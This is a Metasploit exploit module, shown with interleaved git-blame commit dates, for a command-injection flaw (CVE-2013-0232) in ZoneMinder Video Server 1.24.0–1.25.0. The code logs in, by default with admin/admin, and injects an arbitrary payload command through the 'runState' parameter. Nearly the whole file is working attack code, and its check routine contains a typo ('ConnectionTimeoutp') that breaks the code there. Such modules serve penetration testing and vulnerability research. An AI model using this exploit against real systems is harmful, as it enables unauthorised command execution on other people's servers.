Files
metasploit-gs/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb
T

144 lines
4.8 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 16:28:54 -05:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
def initialize(info={})
super(update_info(info,
'Name' => 'ZoneMinder Video Server packageControl Command Execution',
'Description' => %q{
This module exploits a command execution vulnerability in ZoneMinder Video
Server version 1.24.0 to 1.25.0 which could be abused to allow
authenticated users to execute arbitrary commands under the context of the
web server user. The 'packageControl' function in the
'includes/actions.php' file calls 'exec()' with user controlled data
from the 'runState' parameter.
},
'References' =>
[
['CVE', '2013-0232'],
['OSVDB', '89529'],
2013-08-30 16:28:54 -05:00
['EDB', '24310'],
['URL', 'http://itsecuritysolutions.org/2013-01-22-ZoneMinder-Video-Server-arbitrary-command-execution-vulnerability/']
],
'Author' =>
[
2019-01-10 19:19:14 +00:00
'bcoles', # Discovery and exploit
2013-08-30 16:28:54 -05:00
],
'License' => MSF_LICENSE,
'Privileged' => true,
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Payload' =>
{
'BadChars' => "\x00",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet python perl',
2013-08-30 16:28:54 -05:00
},
},
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'DefaultTarget' => 0,
'DisclosureDate' => "Jan 22 2013"
))
2013-08-30 16:28:54 -05:00
register_options([
OptString.new('USERNAME', [true, 'The ZoneMinder username', 'admin']),
OptString.new('PASSWORD', [true, 'The ZoneMinder password', 'admin']),
OptString.new('TARGETURI', [true, 'The path to the web application', '/zm/'])
])
2013-08-30 16:28:54 -05:00
end
2013-08-30 16:28:54 -05:00
def check
2013-08-30 16:28:54 -05:00
peer = "#{rhost}:#{rport}"
base = target_uri.path
base << '/' if base[-1, 1] != '/'
user = datastore['USERNAME']
pass = datastore['PASSWORD']
cookie = "ZMSESSID=" + rand_text_alphanumeric(rand(10)+6)
data = "action=login&view=version&username=#{user}&password=#{pass}"
2013-08-30 16:28:54 -05:00
# login and retrieve software version
2016-02-01 15:12:03 -06:00
print_status("Authenticating as user '#{user}'")
2013-08-30 16:28:54 -05:00
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}index.php",
'cookie' => "#{cookie}",
'data' => "#{data}",
})
if res and res.code == 200
if res.body =~ /<title>ZM - Login<\/title>/
2016-02-01 15:12:03 -06:00
vprint_error("Service found, but authentication failed")
2014-01-21 11:07:03 -06:00
return Exploit::CheckCode::Detected
2013-08-30 16:28:54 -05:00
elsif res.body =~ /v1.2(4\.\d+|5\.0)/
return Exploit::CheckCode::Appears
elsif res.body =~ /<title>ZM/
return Exploit::CheckCode::Detected
end
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeoutp
2016-02-01 15:12:03 -06:00
vprint_error("Connection failed")
2014-01-21 11:07:03 -06:00
return Exploit::CheckCode::Unknown
2013-08-30 16:28:54 -05:00
end
2014-01-21 11:07:03 -06:00
return Exploit::CheckCode::Safe
2013-08-30 16:28:54 -05:00
end
2013-08-30 16:28:54 -05:00
def exploit
base = target_uri.path
base << '/' if base[-1, 1] != '/'
cookie = "ZMSESSID=" + rand_text_alphanumeric(rand(10)+6)
user = datastore['USERNAME']
pass = datastore['PASSWORD']
data = "action=login&view=postlogin&username=#{user}&password=#{pass}"
command = Rex::Text.uri_encode(payload.encoded)
2013-08-30 16:28:54 -05:00
# login
2016-02-01 15:12:03 -06:00
print_status("Authenticating as user '#{user}'")
2013-08-30 16:28:54 -05:00
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}index.php",
'cookie' => "#{cookie}",
'data' => "#{data}",
})
if !res or res.code != 200 or res.body =~ /<title>ZM - Login<\/title>/
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
2013-08-30 16:28:54 -05:00
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
2013-08-30 16:28:54 -05:00
end
2016-02-01 15:12:03 -06:00
print_good("Authenticated successfully")
2013-08-30 16:28:54 -05:00
# send payload
2016-02-01 15:12:03 -06:00
print_status("Sending payload (#{command.length} bytes)")
2013-08-30 16:28:54 -05:00
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}index.php",
'data' => "view=none&action=state&runState=start;#{command}%26",
'cookie' => "#{cookie}"
})
if res and res.code == 200
2016-02-01 15:12:03 -06:00
print_good("Payload sent successfully")
2013-08-30 16:28:54 -05:00
else
fail_with(Failure::UnexpectedReply, "#{peer} - Sending payload failed")
2013-08-30 16:28:54 -05:00
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
2013-08-30 16:28:54 -05:00
end
2013-08-30 16:28:54 -05:00
end
end